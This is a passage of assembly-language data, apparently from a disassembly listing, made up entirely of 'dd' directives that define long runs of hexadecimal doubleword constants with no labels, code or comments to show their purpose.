		dd 0E10FCB1Eh, 0E06D1958h, 9C959E6Eh, 539B008Ah, 0BBB5175h
		dd 9900784Ch, 372CD023h, 57F72A2h, 1D58F31Bh, 0B90C8483h
		dd 21F22F00h, 53DF0D44h, 90B3220h, 185DEE23h, 9C001479h
		dd 0F4356B90h, 5359016Fh, 0A27CFC71h, 4D9EC0C2h, 0C8207D4Fh
		dd 4BCC3A0Dh, 3534409Dh, 0AF3713Ch, 9636A300h, 84A55094h
		dd 0D29C0238h, 64B4493Bh, 0B820D47Bh, 780DA444h, 7DAB37F3h
		dd 7EAC6268h, 330024D9h, 94CCD48Ch, 869600D5h, 60771304h
		dd 4609B403h, 8556FB66h, 0C084CBA4h, 942620A8h,	3C204368h
		dd 7B553FE0h, 1ABD4300h, 17E39151h, 4C4702D0h, 0CEA47797h
		dd 440F9498h, 9F3F7D00h, 0E80480Ah, 9EE4E315h, 1C50928Fh
		dd 8F1BCAC2h, 920445Dh,	3C39EFACh, 902D80B4h, 4F0660h
		dd 0E137115Dh, 0D4FF7342h, 40C0691Eh, 0AE80A49Fh, 663CAC04h
		dd 7890507Eh, 0C72D13E7h, 1EBCE399h, 390F584Dh,	0E8981689h
		dd 0C1F950D7h, 0A3E6000Ah, 0DF3B86Fh, 0CD0B657Fh, 446AD03Ah
		dd 499D0018h, 0FDE7D176h, 4C014426h, 0E4A76D66h, 3C307E70h
		dd 6600045h, 9E65138Bh,	68164C05h, 0F4D02D93h, 98178227h
		dd 300D487Ch, 20413780h, 0A00037Ah, 2F259A96h, 2C1BE23Fh
		dd 11B0E7EEh, 629E089Bh, 0E82DBE06h, 0DEAEC421h, 7C10355Fh
		dd 9548C0B4h, 116B60h, 14A80CDFh, 0D45B509Bh, 16210B09h
		dd 181826C5h, 6FE280F0h, 7D2DF060h, 9C14B9CAh, 3155C7DBh
		dd 28C4C0A6h, 670043AAh, 8233B4E6h, 643BB302h, 0B07F10EBh
		dd 9BEA4788h, 0CC88FC93h, 80102549h, 0B3024C71h, 0FC6073E0h
		dd 907196h, 16F70C59h, 91007A44h, 15A98AAEh, 2F92602Bh
		dd 2098A5A2h, 0C09C376Ch, 0E8A64B62h, 9141B4E0h, 0EC858084h
		dd 0EEF2B36Fh, 0F43A940Fh, 0CA99EBD0h, 7EEDC02Ch, 404C9C85h
		dd 6C1161DFh, 30FD242Eh, 76E5AB01h, 0A82C969Bh,	0D2010D3Fh
		dd 68814C58h, 0EA7C31E6h, 0F4907C59h, 9F00658Eh, 38E5CF4Dh
		dd 8CBE2C00h, 72925DDEh, 0C9E41217h, 0F8B3BDh, 0AEC0CDF1h
		dd 0E8F228h, 0AB881494h, 6FE3BC76h, 0F4A65CEEh,	17C5D700h
		dd 1C931226h, 371300BEh, 0ED9BD9CAh, 0AA48D83Fh, 12AC078h
		dd 0E19DC22h, 23685169h, 0D4C7A03h, 5C83B682h, 2A88CC27h
		dd 6C747BBBh, 0CC88BC4Ah, 0D34188BEh, 8F0EB8FCh, 6285FAh
		dd 0F3564C75h, 76D9F803h, 0CF3A0952h, 944116CCh, 2D8C4DB7h
		dd 0E31000ECh, 0E594C50h, 0C2609C6Eh, 9E022025h, 58012BF1h
		dd 1282106Ch, 3A44495h,	0D5F4042Dh, 58981848h, 0B402BB37h
		dd 1125ED29h, 22F08E60h, 44450D68h, 0DCD1006Ch,	0AA8B8264h
		dd 8D13BC75h, 4030589Dh, 0B757ECh, 0F67EC4BDh, 85A625F5h
		dd 16F0FC00h, 3B493606h, 70CB2897h, 0EF1A3C48h,	60E9AC81h
		dd 0F8D954B2h, 0C70FA0D4h, 4346B047h, 7C1F9E0Eh, 2EBB7DE9h
		dd 400C3992h, 9D3B94E5h, 0D2075C93h, 8E70DFBEh,	1060B97Bh
		dd 0C4EE69A2h, 0B0A8DAE7h, 0D22E71C1h, 410CF1FCh, 129901BCh
		dd 1707A85h, 9B262AC9h,	717C3E37h, 754CFCC8h, 506AD200h
		dd 12104334h, 9A09A1Dh,	0D99142B4h, 3023853h, 98829C83h
		dd 0FF8E998h, 0CF32A299h, 22657740h, 43D1E05h, 536A0EB8h
		dd 0CC3D45CAh, 0DF006CA2h, 7A794D1Fh, 9B01F7B0h, 0D22DD444h
		dd 0BC324537h, 2FD33000h, 2223A22Ch, 83209B00h,	1E0EFADCh
		dd 85D009D5h, 5020256Dh, 3B455942h, 50067300h, 0E6A792B0h
		dd 93EF2D4Dh, 8C644409h, 0A0A9C800h, 0BBE71FB4h, 8BB00AD8h
		dd 48118F4h, 0E46D10FEh, 0E003104h, 5EE10D7Eh, 806877h
		dd 45D1C3B3h, 8D704998h, 5310754Ch, 806E3D48h, 0D75A9D3Ah
		dd 8D12Ch, 732F8015h, 3C4701F0h, 90808D4Eh, 0C07170E6h
		dd 0F395D069h, 0A0B8B64Eh, 0C4B71125h, 2ABD4530h, 0E01F4422h
		dd 9BB4B0Fh, 226C7F5Ah,	402CDCD2h, 9140C8E8h, 58EE29Eh
		dd 59F782C9h, 3BF820C8h, 0E1E06AD8h, 0E910EC17h, 0E96E44C8h
		dd 187E7F10h
		dd 5C272BE5h, 8E93E0Fh,	20175B13h, 262E0C8Ch, 190860Bh
		dd 45ADB2CEh, 40047020h, 5D3B6000h, 0A6A0199Ah,	70E9C84Dh
		dd 21C0429Ch, 66649D2h,	45D80085h, 762322E6h, 7F1263E8h
		dd 98C8C482h, 0A63E01EFh, 0B3FF4094h, 801CD55Eh, 0D5D1F5B9h
		dd 2B57FAh, 0C9FB7269h,	5EC40CB2h, 0C7CBFC07h, 0EFC6AC45h
		dd 7C070031h, 0B45F68DDh, 9A014869h, 1AEC11E9h,	243E1E6Dh
		dd 1FF0A80Ch, 0B41F7F5h, 0E3947842h, 82E023CEh,	0F1FC2AC3h
		dd 134C32C8h, 9884927Fh, 87A2E008h, 0E0E29BFEh,	8ACA981Bh
		dd 940C5716h, 10C07013h, 97B3CDB4h, 0E5D41880h,	81C24C18h
		dd 90071099h, 5C3BA1B8h, 0A890A041h, 64D88026h,	494406Ah
		dd 0E83FDC34h, 7F4A0758h, 1A00525h, 0C0784D8Bh,	67018F0Bh
		dd 6A217122h, 2C319280h, 824F3462h, 8A210618h, 44602981h
		dd 84189095h, 4F05000Ch, 0AA17303Fh, 242F92DEh,	883022AEh
		dd 11582A87h, 8E227CE1h, 209E093h, 9EE37643h, 50DE23FFh
		dd 2E388640h, 3415120Fh, 7F340460h, 0E7DCE48Dh,	0EF31C1FAh
		dd 0C56B49DBh, 7C20E4h,	0E660280Ah, 2233B62Ah, 7D666D12h
		dd 897FD805h, 0BCE780A4h, 0B72E4564h, 0AB0D0B08h, 2F98E4Fh
		dd 796778CCh, 8A620028h, 0A3CF51Eh, 2F04DE74h, 0B3B926Ah
		dd 2D13B4F8h, 394002EAh, 0CCA00C08h, 0F975E37Fh, 0C18A9612h
		dd 646E7C04h, 0A1E6C880h, 9E810260h, 688CF49Dh,	0A0BAF8E4h
		dd 9BB735FAh, 0F4602058h, 0B4195868h, 884A8411h, 0A200C5B4h
		dd 0B33A7C6Dh, 0ADB5DCh, 0DF59CAB0h, 0A47FEB74h, 1087810Ah
		dd 7908FC98h, 362203AAh, 6011ECEAh, 885A0C86h, 4060FE8h
		dd 8AB4816Ch, 43A54538h, 40A4F418h, 2F9B7382h, 0D700781h
		dd 8416E567h, 2D10F96Eh, 7750C8F2h, 0CC9500DDh,	468CC69Dh
		dd 0DE009153h, 5476A886h, 48988F75h, 9F0108C9h,	396C877Fh
		dd 8B7C419Ch, 88D408AEh, 6400B5DBh, 0A2D3BCC3h,	52FC59h
		dd 0FDE0518h, 0A7016E30h, 3CC37D2Ch, 2738E680h,	981F975Eh
		dd 98ACE044h, 9F82C54h,	0B5AB0EA8h, 179C7CE1h, 611C04Ch
		dd 0CA37E04h, 0C0E8E0B8h, 4CD1E2C0h, 670F51C4h,	40C7FBA7h
		dd 0DB28C11Eh, 2F6D049Eh, 85B52998h, 802CA8E8h,	1972F0A8h
		dd 0FE27FF5h, 0A091CD33h, 0E49713E2h, 13FF891h,	0F4220AB0h
		dd 4C006C22h, 75B973CFh, 795F76Ah, 53674DD3h, 0D56C9061h
		dd 0E1319D36h, 23394846h, 8E0CA042h, 274B0324h,	93F83B7Dh
		dd 0EC136709h, 0E9123885h, 7E0D02A0h, 0E46D1740h, 55E4005Ch
		dd 0B8E1B742h, 6201121Dh, 6718B9D4h, 420CBBEh, 0F2864070h
		dd 94000099h, 694584FBh, 41B80022h, 5D61AFF9h, 0FD72766Ch
		dd 6EAEE60Fh, 6CC7B2D0h, 269F26C3h, 40F49571h, 0C6B7AB73h
		dd 6AE93F01h, 623C04F9h, 43EC3D0h, 0A6D1DDDAh, 30DC8929h
		dd 2F88DB8Ch, 5CD90047h, 5552CD6Bh, 7180FD19h, 0B8EA5028h
		dd 76E43783h, 0C41A3B78h, 6207C94h, 0B63C256Eh,	7100206Ch
		dd 4C4E7810h, 18379C8h,	27F1B1B9h, 6A1D3A04h, 6CCA8010h
		dd 989C71ECh, 429A45ECh, 0F85905F4h, 48790346h,	28223C76h
		dd 338FE481h, 598522A8h, 5C40E0E7h, 94162D3Bh, 0F838EC49h
		dd 9200108Eh, 185F39D8h, 30C6A2h, 31060CCFh, 9722E727h
		dd 6606B890h, 14E611B7h, 6CD44450h, 0C1903858h,	26F5D80h
		dd 811DC28h, 0D0670012h, 0CB652FA0h, 6A7F0B22h,	5410831Ah
		dd 75E815BAh, 0F717C8E9h, 7C003A90h, 55D5E8DAh,	7AF51C2Fh
		dd 4635130Dh, 81C0817h,	16756780h, 25894241h, 0C4E64DECh
		dd 96F09F80h, 0B75C4900h, 95E769A7h, 11C30023h,	0F32AE8A0h
		dd 24246C0Ah, 764F80C2h, 0D9B52820h, 0B9C50002h, 8058DF6Dh
		dd 9300F856h, 0CA86F38Dh, 0E90E0E3h, 41FF746Ch,	4C26D120h
		dd 544BCD91h, 80134084h, 3973D0C8h, 83253B89h, 787C7042h
		dd 0CA1E78h, 42C94E2Ah,	0DA9F0D19h, 80675A3Ch, 0EB7850E1h
		dd 0D2026E9Ah, 0D6C0E059h, 0DA8F291Eh, 172B9240h, 973D413Ah
		dd 2DE76C01h, 91FE4CBh,	0F3504C02h, 0E0604FDDh,	0E065E224h
		dd 0E02CB85Ch, 15CB938h, 0BD57C2E1h, 7846DA7Fh,	907EFE05h
		dd 64DCB87Ah, 22B01CC6h, 513C0028h, 0EFAAB43Ah,	631C7B50h
		dd 6D783017h, 8AB570C8h, 800174C3h, 59C0B82Eh, 2C5067A9h
		dd 4A46B7B5h, 812C253Bh, 2FABCDB7h, 44860422h, 99D70174h
		dd 9EDC914Dh, 13A4393Bh, 0E0A5EF10h, 0F501B473h, 1434F4A3h
		dd 44B461F7h, 844DC88h,	0CF238F00h, 79DEFC47h, 65350085h
		dd 5646A062h, 0E0014E21h, 9D99C42Fh, 0C034FFF1h, 1660BA76h
		dd 0A7D65B10h, 6DA8004Ch, 0A0C6AAA6h, 728500B6h, 97F57CDBh
		dd 88F47952h, 0F0BA8C34h, 0A4AEB883h, 0E914142h, 0A34078FEh
		dd 0F6F27882h, 487CABh,	34CD8E85h, 0BABB102Ch, 1A094D04h
		dd 20C895B4h, 1218008Bh, 10640E15h, 0CB90C4Eh, 57C0059Dh
		dd 3BD71E5h, 0B48F3D31h, 639A700h, 0FC8C1BBBh, 1613102Fh
		dd 0E876093Ch, 747A8B64h, 0E160F000h, 0D261EC12h, 0AC4737A4h
		dd 1E4CC308h, 0ED68E388h, 0C48DF00h, 0F3D9ADD1h, 0DCE43EC7h
		dd 40570B18h, 8C7900Fh,	65A002D2h, 1E0392h, 0DE586E4Dh
		dd 0FA118C98h, 58E56930h, 0E6379460h, 49A10045h, 44037B2Ch
		dd 950043B3h, 0AB67CF18h, 63E1E9B8h, 910F31E3h,	87D0613Fh
		dd 13D3B968h, 0F5F48E50h, 585501E3h, 0B1DFE7DCh, 8F82E5E9h
		dd 1411E139h, 163226Ch,	6DF459F8h, 7079D7FFh, 2406C941h
		dd 2BE3F14Eh, 51A46069h, 46F5EA34h, 0C09B0F88h,	0E7A5C121h
		dd 63E89556h, 0F0DC753Ah, 0AE064BFEh, 64B3ED4Ah, 0BED01E49h
		dd 89E51848h, 4F00F41Ah, 0BC3C5CF3h, 5FFD577h, 0C9EA4B32h
		dd 5E3408E6h, 0A75380BFh, 0D4217E3h, 83EEBAh, 32884486h
		dd 31A20FACh, 39D3EC30h, 616B5DD2h, 6377E9AEh, 0A31982ABh
		dd 84BAFDE9h, 90589A30h, 0A179E56h, 1C0039E8h, 8672AEB0h
		dd 0A7AB01F4h, 0D36E65B2h, 0C4A448B3h, 5BC82B00h, 0FECB7741h
		dd 31E00059h, 0E64BBBAEh, 7A041929h, 7842B3DBh,	70F8E905h
		dd 1ED1696Ch, 821D9000h, 6E2FD40h, 0FCFF7381h, 5DEA0A6Eh
		dd 11C69E8h, 5A72AD7Ch,	0DCCDF133h, 1A00489Ah, 0C306BC65h
		dd 1D8B4BA8h, 9FB2E337h, 44E24770h, 5F0FB31Dh, 13D67100h
		dd 0D81C0E1Eh, 32C900B6h, 4BB24C94h, 0E01CE2B9h, 44FFEA44h
		dd 2D0F872h, 70D15280h,	0B090E768h, 0AC00CBD5h,	1C5A3F3Dh
		dd 23E731Eh, 0C0D0FEABh, 62DF6A83h, 335C9094h, 7A5C0031h
		dd 0AA92746Fh, 0FEFACC0Ah, 0EF152B15h, 303068C0h, 0CAF82700h
		dd 1F12CBh, 888CBADBh, 0F51BA873h, 0E15F9209h, 84241226h
		dd 2B20EA74h, 18267D9h,	381177D8h, 9A04Ch, 0F8187E92h
		dd 0DB302891h, 0EB747300h, 0AF0530Bh, 0DA9B0AACh, 746476h
		dd 18FAD041h, 55F8D7A6h, 441981E3h, 0DB58CD67h,	200F81DCh
		dd 0A77EEEC8h, 1492E001h, 4E5676C0h, 705C9180h,	735D620Dh
		dd 80F17163h, 776AC172h, 574E1181h, 0E69F4AFCh,	96F517E0h
		dd 0E0D34B00h, 27C0AD52h, 14D024E2h, 12F747A8h,	0DC81D340h
		dd 0F2EF484Bh, 12857808h, 0D50E5562h, 0CE35C054h, 16F68203h
		dd 297AE7h, 0E2B4C2E5h,	477CA32Bh, 8C99D660h, 30A2B29Eh
		dd 0F1F1A50Ah, 0C706B9B5h, 0E21EE5ADh, 0E3400061h, 663BDA5h
		dd 137F3BFBh, 0F8EAD800h, 73F9BFFFh, 0F66F01DFh, 69F2963Dh
		dd 6D3994EDh, 14901DB3h, 44C68C07h, 7AC401FEh, 0E187725Dh
		dd 2AE3D8F0h, 32E164F4h
		dd 29A01324h, 24819EDh,	704600D8h, 65EEF336h, 917903FEh
		dd 77567430h, 345D313Eh, 0C48C615Eh, 9B8700BBh,	77171433h
		dd 9F0E6629h, 67EF491Eh, 53B728EAh, 0ACE33FA7h,	7BA100FEh
		dd 290C85F8h, 0ED033483h, 6E6FEF52h, 758798BEh,	0E0F61727h
		dd 7850017Eh, 56F41FDFh, 1248D884h, 68D7827Ch, 486556h
		dd 48B60340h, 2500DF11h, 2D99309Bh, 175B4DDh, 0C23E3C05h
		dd 85540A97h, 9DB84231h, 0F3C122C0h, 0BB4B0078h, 2A1179C4h
		dd 4750E1CAh, 69D6D9CBh, 687E1503h, 77900965h, 6C195756h
		dd 0BC28206Dh, 0CECFC412h, 402CB013h, 75590061h, 9DF8048Ah
		dd 8E140846h, 0C0A897h,	0C140B609h, 13C3D980h, 336D76E3h
		dd 6EC1BAC0h, 0B9384092h, 0FD075780h, 0DEDC18B3h, 5C55FA80h
		dd 6B7711EFh, 0E8547F13h, 5A001998h, 0E19B911Bh, 0E2894E2Fh
		dd 695D31DEh, 0EECCF021h, 10632441h, 0DFA66A77h, 32701249h
		dd 0C8421AB8h, 8048D488h, 0BB46970h, 1B00AA7Bh,	4D95CFE6h
		dd 6BFE95Ch, 68D0ABACh,	0C200D1EFh, 55B55FCBh, 3C18701Dh
		dd 2A00E38Ch, 8DD0F178h, 7E0471C6h, 29B373F8h, 0E5C16497h
		dd 71BB980Ah, 0BB0024BCh, 8A4A25EDh, 8D1FB353h,	0BC2D41h
		dd 0F194E634h, 0C8D07C73h, 5C80ABA8h, 0AADA4C6Dh, 66FA26E9h
		dd 15F640D8h, 9C098C96h, 2773EE5h, 0DFA231D5h, 0F900BEC3h
		dd 70185AECh, 618E292Fh, 47F130E5h, 8821807Eh, 7F15E078h
		dd 8D4F24B4h, 0E1440FACh, 889F640h, 0D4B05914h,	22BCFD22h
		dd 85008D0Ah, 0F96C76D6h, 5DBEBC3h, 0E10B1956h,	739FC04Eh
		dd 0C8902146h, 0C2D2A30Eh, 9439B811h, 48EB1CB8h, 0A1B4EA33h
		dd 0F180EE8Ch, 0D321BEE2h, 730058BBh, 74F9EDF8h, 9111E3C2h
		dd 5854280Ch, 48C45CD6h, 0AB008C5Fh, 64DDA788h,	21F138DBh
		dd 0DA13D9FEh, 7FCD31E0h, 0BC444Ch, 9F37B2FAh, 64B643A2h
		dd 88481880h, 0C000F52Ch, 0BE8DA3BCh, 183C42Fh,	796645FDh
		dd 80487E78h, 0A5C9F061h, 4A19DDh, 930820F1h, 97B990CFh
		dd 0E8981890h, 851D08A6h, 54405F07h, 6D4C2C3Ch,	84F70008h
		dd 2B05DC6Ah, 466CEA98h, 902F90E0h, 0C8684CA0h,	0A3318680h
		dd 0E1001F27h, 9D3336A6h, 4C806ABAh, 0DD0E4707h, 0DBE5CF9Ch
		dd 0E19C04EAh, 0D844C80Ch, 0B207E417h, 94567020h, 8F5D074Dh
		dd 508D959Ch, 9E53118Eh, 8625873Ah, 9657744Ch, 3FB330B9h
		dd 0C2371C39h, 0B104BE0Fh, 0B4BA81D8h, 0CDE047E0h, 7DFB048Bh
		dd 47ACDE97h, 0EF7B6A4h, 0EC5F2DD0h, 0AA712C5Dh, 38184990h
		dd 0BD0B88BCh, 80FDCE1Ah, 84BFC9B1h, 224490B0h,	0A898EDFAh
		dd 79FC1903h, 0F7B465A8h, 88E16740h, 4810B01Ah,	7B80380Fh
		dd 85AF4044h, 71A84730h, 58AFCh, 0ED6A069Ah, 0D8BEF10h
		dd 263AC276h, 54BA01E2h, 6A76CFF1h, 23A1836h, 59288480h
		dd 8D07942h, 0E5DFE212h, 3C8024DCh, 0FA83A1DDh,	752E0B04h
		dd 0A344050h, 80022700h, 5ADB9520h, 4324268Ch, 0C44B0324h
		dd 0E100BB68h, 0EFA7EA70h, 484A8Dh, 0E99C2BC7h,	5DC92883h
		dd 410FDDFCh, 0E1FE6912h, 1D9DAF61h, 0A720E4h, 8A824F59h
		dd 57698C19h, 0A253C006h, 1B206580h, 2837E772h,	27C361C0h
		dd 0A4E9B101h, 0BCF6A48h, 8C5B03F2h, 300F3100h,	98EE4A26h
		dd 0B673F9h, 2EA5DB01h,	1DD4797Fh, 42C98408h, 0D3A780A0h
		dd 0B18B5AC1h, 0AF3E4B0Eh, 73C361C5h, 798138EBh, 6D39493Dh
		dd 0DE444041h, 96005A29h, 12E01AA5h, 11C0580Dh,	0A4FEFBh
		dd 75C2C5A7h, 0C1C779h,	58135A4Bh, 0BA6AE76Dh, 0C0B90960h
		dd 3B7F0EEEh, 0D91B7CD5h, 0C1E8190Ch, 5011D59h,	9F17B543h
		dd 3FDC1514h, 0DA6F6010h, 6CFC73Bh, 0AC011290h,	5201451Dh
		dd 818179B7h, 0DCE8E7E1h, 0BD988F25h, 0A8E039B8h, 843AAC4Ch
		dd 0E549C005h, 0DE001C0Ch, 94F8A5C1h, 8DBF3152h, 8064A031h
		dd 4AFA3BD9h, 7426DB7Bh, 0B4E60088h, 53EDE399h,	31C9A5BAh
		dd 58F380ACh, 6223F177h, 33F0683Fh, 61037080h, 800E630Dh
		dd 40F36972h, 2152E06Bh, 0E84CF1B3h, 10743AEFh,	21CC200h
		dd 4AAB2718h, 0BC66973Fh, 0BF05FA67h, 78688D69h, 162680Eh
		dd 0C0F85C5Ah, 5B8820F3h, 0EC80DF75h, 212090E0h, 7E1121B5h
		dd 3B257600h, 46715AC0h, 7A9EF303h, 1A6BB52h, 5895D521h
		dd 0F07EA3A0h, 716FD8BCh, 0D9C50318h, 3F51000Fh, 21357B1h
		dd 8C7FC2D3h, 9562C000h, 61C858BDh, 69A120E0h, 0F57EA779h
		dd 36ADC000h, 0E61549DDh, 0E5AB020Fh, 0EC77D2DAh, 3CA04446h
		dd 0A062526Eh, 3C67D0h,	0D3ADF261h, 0ABB55C00h,	0E5A237C0h
		dd 3E511F03h, 41399B72h, 4764B040h, 11F93890h, 64DCF72Ch
		dd 6BB600DDh, 3B36384Dh, 1619AA51h, 4BF0E525h, 2C2F5D02h
		dd 1C57C11Fh, 80F5251Ah, 0F70F7E0h, 6D19D632h, 46384C01h
		dd 8C66C501h, 0C9587C79h, 425D405Ah, 91F03D40h,	5F8E008Ch
		dd 0B340FEAEh, 0D2D6E500h, 7AB86D48h, 0EDC01216h, 3E5800D5h
		dd 0F3F17250h, 48F084A9h, 0F8F321C0h, 0C000642Bh, 0D1B02756h
		dd 3FD74DCh, 0FA5CB68Ah, 0D3CF5541h, 0C9506126h, 44843608h
		dd 7E00C07Dh, 3578A29h,	48F7FA3Ah, 0B031BCC6h, 81ADAA98h
		dd 0F173E888h, 3512229Ch, 15FC4420h, 450F0008h,	0B8EDD99Dh
		dd 3F6283E5h, 0A23D4B8h, 0A8211B4h, 0CCB96A47h,	1785843h
		dd 0D2396319h, 0D0D9234Bh, 2D900559h, 350925F8h, 824D859Bh
		dd 1074BF9Ch, 52883BECh, 0FC91A3h, 212D2F27h, 0F9C6DEFBh
		dd 295078h, 11543CF7h, 1D9F65Ah, 1184A84Ch, 0F0184FE9h
		dd 0F40D993Eh, 85518F00h, 54E1AE1Ah, 0D8D8CA45h, 0D9181984h
		dd 0D7B4203Dh, 0A9A05F18h, 0E26D1CEh, 790EC555h, 0CBB56262h
		dd 6483860h, 0C3584E00h, 21239E1Ah, 6A1C44F3h, 20ACB855h
		dd 0C5034998h, 0C4BAA35Ch, 5AC3A070h, 79F93FAFh, 0B0A9C203h
		dd 0B1004D78h, 411A5582h, 6F44B2Bh, 66B125CDh, 0E0E240EFh
		dd 0FB27D90Dh, 90A869A2h, 0D447014Ch, 61CF3648h, 0AAB32121h
		dd 0FF035C21h, 9FA0E90Eh, 0EA201F75h, 7A5B0A73h, 0DA5187B0h
		dd 0C0D0722Eh, 0C2013487h, 842996FBh, 75220E5Ch, 80BA4A20h
		dd 0D72E008Fh, 72264337h, 0CD053087h, 3B5A08BFh, 1AC0D434h
		dd 1F5956h, 0DD8CB6B4h,	53DCA4C2h, 5190BE30h, 0C03C7D47h
		dd 0D988E431h, 0CB19303Ah, 0F9896CA0h, 6A14FCh,	0A3C35E8Eh
		dd 8A8DF09Bh, 0ABE96700h, 0FFD07C41h, 0D36A24A4h, 272141CCh
		dd 79418F60h, 71FD0558h, 8704A020h, 6C282C37h, 3EF404D4h
		dd 0FE448123h, 0D02709h, 6F6038B6h, 5FDD3D0h, 9177B833h
		dd 5D03C099h, 973E42BDh, 0EEB4811Dh, 79304EE3h,	0C8388890h
		dd 61C5806Bh, 0B79EADF0h, 160C7001h, 0EA77AB3Bh, 611C5C22h
		dd 0F1BC68B5h, 3971C310h, 2621310Ah, 8C092463h,	11780FC8h
		dd 0EB105830h, 0C1D03E5Eh, 872D0020h, 0B6A9187Eh, 9A9600EFh
		dd 78F3A67Fh, 61006D04h, 0C18B9BA0h, 9C0395Eh, 3899EACFh
		dd 7847C882h, 230D010h,	0DCB1061Eh, 0E060D164h,	9209C0B3h
		dd 1A60FE21h, 804C4518h, 90D74CBFh, 7015EC43h, 9380C517h
		dd 8EA0A037h, 0FE45720Bh, 0C1800086h, 0E9F31362h, 0AB7A0159h
		dd 91A9940Ah, 0C0138870h, 718AEC30h, 18E000ACh,	9643A234h
		dd 37E3E6Dh, 6C45C48h, 7CB853CDh, 0AD191869h, 5178181Ah
		dd 6D62E1C0h, 0E0DF71h,	0CEAC3FA6h, 3CEBA252h, 5FCA7601h
		dd 88F22189h, 0B685424h, 9B5CEACEh, 1BA05483h, 983A8900h
		dd 5587C6E7h, 5C390026h
		dd 5EBB151Fh, 340417A9h, 745B4361h, 30B3F447h, 5DBFA3D6h
		dd 679BCF00h, 0EAFB404Ch, 70B24815h, 1AC04507h,	0EE27F0AFh
		dd 2D3D5471h, 79B91377h, 3DD3C004h, 7201F854h, 153FBB58h
		dd 71872F0h, 2910B0DFh,	7D5F7F90h, 38847583h, 0D58FBF9Fh
		dd 0F518953h, 13526847h, 64C1C024h, 0C872A2CEh,	0E972A018h
		dd 0AF018560h, 27834C74h, 0C84018FEh, 803CE473h, 4400FF65h
		dd 0A36F640Bh, 162FDC7h, 8AC06A07h, 8E66FA21h, 468BC549h
		dd 5B8A5D7h, 5B3D1D47h,	69DC88ADh, 7AF7FB88h, 0ECA0094h
		dd 35824E87h, 0DB003CD2h, 0C6B9CC6Ah, 5EAC1Fh, 0B805B5FDh
		dd 4ED6E42Eh, 4498111Eh, 0CC5DC600h, 330E4059h,	9A1189B7h
		dd 0CB2AC0E0h, 0C96D0B07h, 4D40E78Eh, 0CFAB323h, 67DB5B27h
		dd 0B7F86E61h, 59B539CDh, 1B6410E2h, 21783507h,	20FE2F5Ch
		dd 0C49C5E31h, 1F0A0E7Dh, 2BC07ED1h, 0F7351443h, 4ED36300h
		dd 0D267386Eh, 0DDC9189Dh, 0B75D68DAh, 428F44h,	9BB6F66Fh
		dd 0FF8CD038h, 44463B00h, 476E920Fh, 52CF030Dh,	5E580ECDh
		dd 0E9C9A81Ch, 37C24977h, 0DB860FBFh, 0FB01C96Dh, 26F53603h
		dd 23C02479h, 51280050h, 20804CDh, 84504C6Eh, 2F01436Ch
		dd 7E68B357h, 198039CDh, 511763B9h, 0C0D042CAh,	6CDEC684h
		dd 0AF281C69h, 556080C1h, 48E16B22h, 61605AB0h,	1AF56721h
		dd 0F7763CB0h, 0E4E03480h, 42C0DF19h, 0D59C0400h, 6F8D5847h
		dd 61BA6052h, 0F3F56361h, 0C40E70A0h, 0A0D2CB88h, 62F0C9F4h
		dd 10CD9189h, 0D2DA1080h, 0E4A0C1CBh, 0B288F950h, 0F121C0B3h
		dd 0C3FC2DD6h, 47CEED00h, 18FDD4F7h, 0A85E3C71h, 0CC7E7714h
		dd 0F7CAD9C0h, 886C6811h, 1B52A92h, 9714852Eh, 80C9B2CFh
		dd 24E39C59h, 2CABACh, 0E44D71B5h, 4679E011h, 0E1F2EA39h
		dd 20D8C929h, 402CE99Ch, 843A2743h, 0C1174DFh, 0C201BEB3h
		dd 0B1A2F831h, 4536F411h, 84D1F504h, 0C601543Dh, 0A27FB75Ch
		dd 580044E1h, 0B685E86h, 0C46782h, 17727CE8h, 89B45DE5h
		dd 41C73B7Eh, 4488586Eh, 47040C0h, 1CE9FA4h, 7AB02B28h
		dd 98B4FA0Dh, 0C189B529h, 0C9E44DBh, 0D980D274h, 0B49A05C3h
		dd 14984E8h, 0B3210854h, 0BB6180C2h, 0CA5CF5Bh,	3AEC88h
		dd 0F52D258Eh, 4D75A414h, 711F37F4h, 9CC03DFDh,	4357B51Eh
		dd 42D30005h, 0DD665547h, 757C87B7h, 1B5AE718h,	196E4659h
		dd 0D1C72053h, 167D10BEh, 0BD180061h, 666B330Eh, 0B1C0DDF6h
		dd 84E145D2h, 0C9880086h, 0F35F2ADCh, 1F2C7EF7h, 2B01A622h
		dd 8527243Dh, 2EEE60h, 0CD7D04B9h, 546EEBF4h, 848C8C54h
		dd 71526Fh, 0CFFA5174h,	2459486Eh, 2B3D439Dh, 0A1803AC5h
		dd 0D3EC578Ch, 524770A0h, 2F016609h, 0D2EC045Ah, 0B0D54F47h
		dd 6386A861h, 921D25ECh, 3CECCEh, 0C54F7866h, 4859D65Dh
		dd 20264FE2h, 5CD8980h,	7DDF8810h, 8991B430h, 0CB021BCh
		dd 346A294Bh, 78747038h, 763A801h, 694A89A4h, 516EC98Ah
		dd 83479070h, 88CBF905h, 60AFA406h, 45BF19B5h, 0F200FB60h
		dd 798B3784h, 89DF5h, 278A1B74h, 0D3E3CD3h, 0E8580724h
		dd 0C90CBF11h, 2CF1CEECh, 788C5B56h, 7E635A00h,	681FD756h
		dd 665B002Fh, 6BC2FEA7h, 577FB1ECh, 51035A73h, 0B31E7DBEh
		dd 3A5900CAh, 61E0C3F6h, 0F81DED75h, 0AB4742B4h, 4D60DD6Eh
		dd 1F58EEAh, 0D8963B5Ah, 8070DB59h, 0A530F8E1h,	0F008AE3Eh
		dd 15E40091h, 2FDB2134h, 6C9226B3h, 8C42DF04h, 4C240C2h
		dd 486259h, 63551C64h, 894F39B6h, 9CCF1915h, 300CCD13h
		dd 0AF925254h, 8311BB60h, 0E5A456Fh, 9C40D704h,	0B88CD220h
		dd 99C363DBh, 0D8AEFEE5h, 9416D5h, 9F14A0FBh, 4D4B6558h
		dd 5452E906h, 5251C3F5h, 3000E4DBh, 0EBD9EFDDh,	0EA00365Eh
		dd 0D875AD8Ah, 3189A96Ah, 0C294252h, 0BC1B8E0h,	1F074Dh
		dd 1AD7168Eh, 26190018h, 0FE1C3AA0h, 4E3E51C8h,	131E0F5h
		dd 9F3F8Fh, 315E6AFBh, 0EB3A8B54h, 16F46600h, 46BED268h
		dd 16CD74F2h, 4B12C5h, 5A47566Ch, 912DDD64h, 37F416h, 2E0E1FACh
		dd 6A0C9213h, 0D1DEAF44h, 0F5D231C9h, 2588B771h, 66D6304Ch
		dd 7F8A38h, 0E63C4377h,	41AE0AFh, 29011753h, 895481DEh
		dd 58A44946h, 0C4004388h, 4BFAB1BFh, 902C2745h,	6F2E12D4h
